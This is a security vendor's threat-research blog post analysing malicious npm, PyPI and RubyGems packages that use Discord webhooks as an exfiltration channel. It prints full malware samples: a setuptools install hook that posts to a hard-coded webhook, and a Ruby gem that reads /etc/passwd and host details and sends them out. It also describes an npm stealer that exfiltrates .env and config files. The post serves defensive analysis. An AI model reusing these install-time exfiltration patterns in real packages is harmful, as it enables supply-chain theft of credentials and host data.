Weaponizing Discord for Command and Control Across npm, PyPI, and RubyGems.org
Socket researchers uncover how threat actors weaponize Discord across the npm, PyPI, and RubyGems ecosystems to exfiltrate sensitive data.
Olivia Brown
October 11, 2025
Socket’s Threat Research Team continuously observes and identifies malicious packages leveraging Discord as command and control (C2) to exfiltrate data to threat actor-controlled servers. Threat actors historically have been more likely to use their own, controlled, command and control (C2) server. However, Socket’s Threat Research team has observed attackers adopting new and creative approaches to data exfiltration, as seen in the following examples from npm, PyPI, and RubyGems.org.
Discord webhooks are HTTPS endpoints. They embed a numeric ID and secret token, and possession of the URL is enough to post payloads into a target channel. To test if the webhooks are live, researchers can see what the POST response is. Typically, if it is live, the test will either return a 204 No Content on success, or a 200 OK with ?wait=true. 401 Unauthorized signals a bad token, 404 Not Found indicates a deleted/invalid webhook, and 429 Too Many Requests reflects rate limiting with a retry_after hint. Importantly, webhook URLs are effectively write-only. They do not expose channel history, and defenders cannot read back prior posts just by knowing the URL.
This code targets configuration files, like config.json, .env, ayarlar.js,and ayarlar.json. Notably, Ayarlar is the Turkish word for “settings” or “configuration.” Developers often use this file to store application settings, user preferences, API keys and credentials, database connection strings, and more.
For each filename, the code resolves to an absolute path, reads the file contents, and then builds a Discord message.
If the content is longer than 1,900 characters, it sends the first 1,900 and appends the message with File is too big, it was shortened, but in Turkish. Otherwise, it sends the file with the full content in a code block.
Next, it POSTs that message as JSON to the Discord webhook, https[://]discord[.]com/api/webhooks/1410983383676227624/KArVBMhnq29RvB_if2-eE5ptf2J6P00qGD-amGrPdejhXJZ-4D-Apl5MWBaOFIsEVlY_, essentially using the Discord webhook as an exfiltration point.
It’s a simple file exfiltration dropper, but it uses Discord instead of its own C2 server.
This module is a tiny wrapper that tries to send text to a Discord channel via a hard-coded webhook URL. The DiscordWebhook.connect(...messages) method joins any arguments into a single string and then calls new WebhookClient({ url: '<webhook>' }).send({ content }), posting the text to that webhook; any error (including network failures) is silently swallowed due to the try/catch. Because the webhook URL is embedded, anything passed in can be transmitted to a third party. Although this mechanism is not necessarily malicious, as it is sometimes used for app logging/alerts, it can also act as a simple exfiltration sink.
from setuptools import setup
from setuptools.command.install import install
import urllib.request
import json
#malicious discord c2
WEBHOOK_URL = "https://discord[.]com/api/webhooks/1388446357345534073/wbKG-um_NnL_OcWryP5tQppLK0bTCehqvB6RVUoqG5h01zSKsWEJz2aCwSg0-0nBYbgl"
class RunPayload(install):
def run(self):
try:
data = json.dumps({"content": "💥 Ai đó vừa cài gói `maladicus` qua pip!"}).encode('utf-8')
req = urllib.request.Request(WEBHOOK_URL, data=data, headers={'Content-Type': 'application/json'})
urllib.request.urlopen(req)
except Exception as e:
pass # Im lặng khi lỗi
install.run(self)
setup(
name='malinssx',
version='0.0.1',
description='test webhook',
py_modules=[],
cmdclass={'install': RunPayload},
)
The cyber threat actor here self defines the package as a test webhook, and the package has been removed from PyPI, but it works well as an example to understand Discord in python due to its simplicity.
This file overrides the setuptools install command to run a post-install side effect that sends a message to a Discord webhook. During pip install, RunPayload.run() JSON-encodes {"content": "💥 Ai đó vừa cài gói maladicus qua pip!"}. From Vietnamese, this translates to: “Someone just installed the maladicus package via pip!” It then POSTs it to the hardcoded WEBHOOK_URL using urllib.request. Any errors are silently ignored (except …: pass), then it calls the normal install.run(self) to finish installation. Practically, this means anyone who installs the package triggers an HTTP request to a third-party Discord channel, which can be used for simple telemetry or as an exfiltration mechanism. Since it executes during install without user consent, it is a classic supply chain risk.
The comments defining the package as a test webhook were in English, not Vietnamese. We also found identical packages (malicus and maliinn) by the same threat actor, sdadasda232323, with the same Discord URL.
Our Ruby example, found in the sqlcommenter_rails gem, exfiltrates a bit more information, but is simple to understand.
require 'etc'
require 'socket'
require 'json'
require 'net/http'
require 'uri'
# Read the /etc/passwd file
begin
passwd_data = File.read('/etc/passwd')
rescue StandardError => e
passwd_data = "Error reading /etc/passwd: #{e.message}"
end
# Get current time
current_time = Time.now.utc.iso8601
# Get package metadata
gem_name = 'sqlcommenter_rails'
gem_version = '0.1.0'
gem_metadata = {
'name' => gem_name,
'version' => gem_version,
'summary' => 'Test gem for dependency confusion',
'author' => 'Your Name'
}
# Get DNS servers (Linux-specific, may not work on all systems)
begin
dns_servers = File.readlines('/etc/resolv.conf').select { |line| line.start_with?('nameserver') }.map { |line| line.split[1] }
dns_servers = dns_servers.empty? ? ['Unknown'] : dns_servers
rescue StandardError
dns_servers = ['Unknown']
end
# Function to get public IP using api.ipify.org
def get_public_ip
uri = URI('https://api.ipify.org')
response = Net::HTTP.get_response(uri)
if response.is_a?(Net::HTTPSuccess)
response.body
else
"Error getting public IP: #{response.message}"
end
rescue StandardError => e
"Error getting public IP: #{e.message}"
end
# Collect all tracking data
public_ip = get_public_ip
tracking_data = {
'package' => gem_name,
'current_dir' => Dir.pwd,
'home_dir' => Dir.home,
'hostname' => Socket.gethostname,
'username' => Etc.getlogin || 'Unknown',
'dns_servers' => dns_servers,
'resolved' => nil, # RubyGems doesn't have a direct equivalent to packageJSON.___resolved
'version' => gem_version,
'package_json' => gem_metadata,
'passwd_content' => passwd_data,
'time' => current_time,
'originating_ip' => public_ip
}
# Add custom notes
custom_notes = "Successful R_C_E via dependency confusion."
# Format the message for readability
formatted_message = <<~MESSAGE
Endpoint: https://example.com/endpoint
All Information:
- Package: #{tracking_data['package']}
- Current Directory: #{tracking_data['current_dir']}
- Home Directory: #{tracking_data['home_dir']}
- Hostname: #{tracking_data['hostname']}
- Username: #{tracking_data['username']}
- DNS Servers: #{tracking_data['dns_servers'].to_json}
- Resolved: #{tracking_data['resolved']}
- Version: #{tracking_data['version']}
- Package JSON: #{tracking_data['package_json'].to_json(indent: 2)}
- /etc/passwd Content: #{tracking_data['passwd_content']}
- Time: #{tracking_data['time']}
- Originating IP: #{tracking_data['originating_ip']}
Custom Notes:
#{custom_notes}
MESSAGE
# Output to console
puts formatted_message
# Send to Discord Webhook
uri = URI('https://discord[.]com/api/webhooks/1410258094511882250/fPTbDPbFfrSaOKDwXDfeqfwlKlhdS5tpev8nD7giRFhAldmRpJaGlI6Y5IWqOpdxYNbx')
https = Net::HTTP.new(uri.host, uri.port)
https.use_ssl = true
request = Net::HTTP::Post.new(uri.path, { 'Content-Type' => 'application/json' })
request.body = { content: formatted_message }.to_json
begin
response = https.request(request)
rescue StandardError => e
# Silent error handling
end
This Ruby script collects host information and ships it to a hard-coded Discord webhook. It reads /etc/passwd, grabs DNS servers from /etc/resolv.conf, hostname, current user, current/home directories, package metadata, and calls api.ipify.org to learn the machine’s public IP. It formats everything, including the full /etc/passwd contents, into a multi-line message, prints it to stdout, then POSTs the same text as JSON to the webhook using Net::HTTP over TLS. Any network errors during the send are silently swallowed.
Abuse of Discord webhooks as C2 matters because it flips the economics of supply chain attacks. By being free and fast, threat actors avoid hosting and maintaining their own infrastructure. Also, they often blend in to regular code and firewall rules, allowing exfiltration even from secured victims. Webhooks require no authentication beyond a URL, ride over HTTPS to a popular domain many organizations allow by default, and look like ordinary JSON posts, so simple domain or signature blocking rarely catches them.
When paired with install-time hooks or build scripts, malicious packages with Discord C2 mechanism can quietly siphon .env files, API keys, and host details from developer machines and CI runners long before runtime monitoring ever sees the app.
Already, we have seen attacks use other webhooks from services like Telegram, Slack, and GitHub, which similarly make traditional IOC-based detection less effective and shift the focus toward behavioral detection.
Teams should treat webhook endpoints as potential data-loss channels, enforce egress controls and allow-lists, pin and vet dependencies (lockfiles, provenance/SLSA), scan PRs and installs for network calls and secrets access, and rotate/least-privilege developer credentials — because a single compromised package can exfiltrate at scale across npm, PyPI, RubyGems, and other ecosystems in minutes.
Socket’s security tooling is built to catch exactly these Discord-style exfiltration patterns before they land. The Socket GitHub App analyzes pull requests in real time for newly introduced risks like hard-coded webhook URLs, outbound network calls, or install-time hooks. The Socket CLI enforces the same checks during npm/pip/gem installs to block malicious packages at the gate. Socket Firewall blocks known malicious packages before the package manager fetches them, including transitive dependencies, by mediating dependency requests; use it alongside the CLI for behavior-level gating. The Socket browser extension flags suspicious packages as you browse registries, highlighting known malware verdicts and typosquatting. For AI-assisted coding, Socket MCP warns when code assistants recommend risky or hallucinated dependencies, especially critical as threat actors pivot to webhook-based C2 and secrets harvesting.
Previous Research Covering Unique Ways Threat Actors Use Discord:#
The Socket Threat Research Team is tracking weekly intrusions into the npm registry that follow a repeatable adversarial playbook used by North Korean state-sponsored actors.